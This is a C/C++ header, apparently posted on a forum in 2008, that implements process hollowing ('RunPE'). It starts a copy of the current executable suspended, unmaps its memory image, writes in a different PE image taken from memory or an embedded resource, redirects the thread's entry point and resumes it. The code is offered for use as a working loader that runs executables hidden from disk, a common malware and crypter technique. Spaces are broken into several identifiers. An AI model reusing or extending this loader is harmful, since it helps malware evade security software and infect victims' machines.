//--------------------------------------------------------
// Dynamic Process Forking of Portable Executable
// Author : Vrillon / Venus
// Date : 07/14/2008
//--------------------------------------------------------
/************************************************** *******/
/* With this header, you can create and run a process */
/* from memory and not from a file. */
/************************************************** *******/
#ifdef WIN32
#include <windows.h>
#else
#error Process Forking Requires a Windows Operating System
#endif
#include <stdio.h>
/////////////////////////////////////////////////////////////
// NtUnmapViewOfSection (ZwUnmapViewOfSection)
// Used to unmap a section from a process.
typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID);
NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtUnmapViewOfSection");
/////////////////////////////////////////////////////////////
// Fork Process
// Dynamically create a process based on the parameter 'lpImage'. The parameter should have the entire
// image of a portable executable file from address 0 to the end.
bool ForkProcess(LPVOID lpImage)
{
// Variables for Process Forking
long int lWritten;
long int lHeaderSize;
long int lImageSize;
long int lSectionCount;
long int lSectionSize;
long int lFirstSection;
long int lPreviousProtection;
long int lJumpSize;
bool bReturnValue;
LPVOID lpImageMemory;
LPVOID lpImageMemoryDummy;
IMAGE_DOS_HEADER dsDosHeader;
IMAGE_NT_HEADERS ntNtHeader;
IMAGE_SECTION_HEADER shSections[512 * 2];
PROCESS_INFORMATION piProcessInformation;
STARTUPINFO suStartUpInformation;
CONTEXT cContext;
// Variables for Local Process
FILE* fFile;
char* pProcessName;
long int lFileSize;
long int lLocalImageBase;
long int lLocalImageSize;
LPVOID lpLocalFile;
IMAGE_DOS_HEADER dsLocalDosHeader;
IMAGE_NT_HEADERS ntLocalNtHeader;
// End Variable Definition
bReturnValue = false;
pProcessName = new char[MAX_PATH];
ZeroMemory(pProcessName,MAX_PATH);
// Get the file name for the dummy process
if(GetModuleFileName(NULL,pProcessName,MAX_PATH) == 0)
{
delete [] pProcessName;
return bReturnValue;
}
// Open the dummy process in binary mode
fFile = fopen(pProcessName,"rb");
if(!fFile)
{
delete [] pProcessName;
return bReturnValue;
}
fseek(fFile,0,SEEK_END);
// Get file size
lFileSize = ftell(fFile);
rewind(fFile);
// Allocate memory for dummy file
lpLocalFile = new LPVOID[lFileSize];
ZeroMemory(lpLocalFile,lFileSize);
// Read memory of file
fread(lpLocalFile,lFileSize,1,fFile);
// Close file
fclose(fFile);
// Grab the DOS Headers
memcpy(&dsLocalDosHeader,lpLocalFile,sizeof(dsLoca lDosHeader));
if(dsLocalDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
delete [] pProcessName;
delete [] lpLocalFile;
return bReturnValue;
}
// Grab NT Headers
memcpy(&ntLocalNtHeader,(LPVOID)((long int)lpLocalFile+dsLocalDosHeader.e_lfanew),sizeof( dsLocalDosHeader));
if(ntLocalNtHeader.Signature != IMAGE_NT_SIGNATURE)
{
delete [] pProcessName;
delete [] lpLocalFile;
return bReturnValue;
}
// Get Size and Image Base
lLocalImageBase = ntLocalNtHeader.OptionalHeader.ImageBase;
lLocalImageSize = ntLocalNtHeader.OptionalHeader.SizeOfImage;
// Deallocate
delete [] lpLocalFile;
// Grab DOS Header for Forking Process
memcpy(&dsDosHeader,lpImage,sizeof(dsDosHeader));
if(dsDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
delete [] pProcessName;
return bReturnValue;
}
// Grab NT Header for Forking Process
memcpy(&ntNtHeader,(LPVOID)((long int)lpImage+dsDosHeader.e_lfanew),sizeof(ntNtHeade r));
if(ntNtHeader.Signature != IMAGE_NT_SIGNATURE)
{
delete [] pProcessName;
return bReturnValue;
}
// Get proper sizes
lImageSize = ntNtHeader.OptionalHeader.SizeOfImage;
lHeaderSize = ntNtHeader.OptionalHeader.SizeOfHeaders;
// Allocate memory for image
lpImageMemory = new LPVOID[lImageSize];
ZeroMemory(lpImageMemory,lImageSize);
lpImageMemoryDummy = lpImageMemory;
lFirstSection = (long int)(((long int)lpImage+dsDosHeader.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
memcpy(shSections,(LPVOID)(lFirstSection),sizeof(I MAGE_SECTION_HEADER)*ntNtHeader.FileHeader.NumberO fSections);
memcpy(lpImageMemoryDummy,lpImage,lHeaderSize);
// Get Section Alignment
if((ntNtHeader.OptionalHeader.SizeOfHeaders % ntNtHeader.OptionalHeader.SectionAlignment) == 0)
{
lJumpSize = ntNtHeader.OptionalHeader.SizeOfHeaders;
}
else
{
lJumpSize = (ntNtHeader.OptionalHeader.SizeOfHeaders/ntNtHeader.OptionalHeader.SectionAlignment);
lJumpSize += 1;
lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
}
lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);
// Copy Sections To Buffer
for(lSectionCount = 0; lSectionCount < ntNtHeader.FileHeader.NumberOfSections; lSectionCount++)
{
lJumpSize = 0;
lSectionSize = shSections[lSectionCount].SizeOfRawData;
memcpy(lpImageMemoryDummy,(LPVOID)((long int)lpImage + shSections[lSectionCount].PointerToRawData),lSectionSize);
if((shSections[lSectionCount].Misc.VirtualSize % ntNtHeader.OptionalHeader.SectionAlignment)==0)
{
lJumpSize = shSections[lSectionCount].Misc.VirtualSize;
}
else
{
lJumpSize = (shSections[lSectionCount].Misc.VirtualSize/ntNtHeader.OptionalHeader.SectionAlignment);
lJumpSize += 1;
lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
}
lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);
}
ZeroMemory(&suStartUpInformation,sizeof(STARTUPINF O));
ZeroMemory(&piProcessInformation,sizeof(PROCESS_IN FORMATION));
ZeroMemory(&cContext,sizeof(CONTEXT));
suStartUpInformation.cb = sizeof(suStartUpInformation);
// Create Process
if(CreateProcess(NULL,pProcessName,NULL,NULL,false ,CREATE_SUSPENDED,NULL,NULL,&suStartUpInformation, &piProcessInformation))
{
cContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(piProcessInformation.hThread,&cCo ntext);
// Check image base and image size
if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
{
VirtualProtectEx(piProcessInformation.hProcess,(LP VOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSiz e,PAGE_EXECUTE_READWRITE,(unsigned long*)&lPreviousProtection);
}
else
{
if(!NtUnmapViewOfSection(piProcessInformation.hPro cess,(LPVOID)((DWORD)lLocalImageBase)))
VirtualAllocEx(piProcessInformation.hProcess,(LPVO ID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSiz e,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
}
// Write Image to Process
if(WriteProcessMemory(piProcessInformation.hProces s,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lpImageMe mory,lImageSize,(unsigned long*)&lWritten))
{
bReturnValue = true;
}
// Set Image Base
if(WriteProcessMemory(piProcessInformation.hProces s,(LPVOID)((long int)cContext.Ebx + 8),&ntNtHeader.OptionalHeader.ImageBase,4,(unsigne d long*)&lWritten))
{
if(bReturnValue == true)
bReturnValue = true;
}
if(bReturnValue == false)
{
delete [] pProcessName;
delete [] lpImageMemory;
return bReturnValue;
}
// Set the new entry point
cContext.Eax = ntNtHeader.OptionalHeader.ImageBase + ntNtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(piProcessInformation.hThread,&cCo ntext);
if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
VirtualProtectEx(piProcessInformation.hProcess,(LP VOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSiz e,lPreviousProtection,0);
// Resume the process
ResumeThread(piProcessInformation.hThread);
}
delete [] pProcessName;
delete [] lpImageMemory;
return bReturnValue;
}
// Fork Process From Resource
// Dynamically create a process from a resource file.
bool ForkProcessFromResource(int iResource,char* pResourceSection)
{
HGLOBAL hResData;
HRSRC hResInfo;
LPVOID lpRes;
LPVOID lpMemory;
long int lSize;
HMODULE hModule;
bool bReturn;
hModule = GetModuleHandle(0);
bReturn = false;
if(!hModule)
return bReturn;
hResInfo = FindResource(hModule, MAKEINTRESOURCE(iResource), pResourceSection);
if(!hResInfo)
{
return bReturn;
}
hResData = LoadResource(hModule, hResInfo);
if(!hResData)
{
return bReturn;
}
lpRes = LockResource(hResData);
if(!lpRes)
{
FreeResource(hResData);
return bReturn;
}
lSize = SizeofResource(hModule, hResInfo);
lpMemory = new LPVOID[lSize];
ZeroMemory(lpMemory,lSize);
memcpy (lpMemory, lpRes, lSize);
bReturn = ForkProcess(lpMemory);
FreeResource(hResData);
delete [] lpMemory;
return bReturn;
}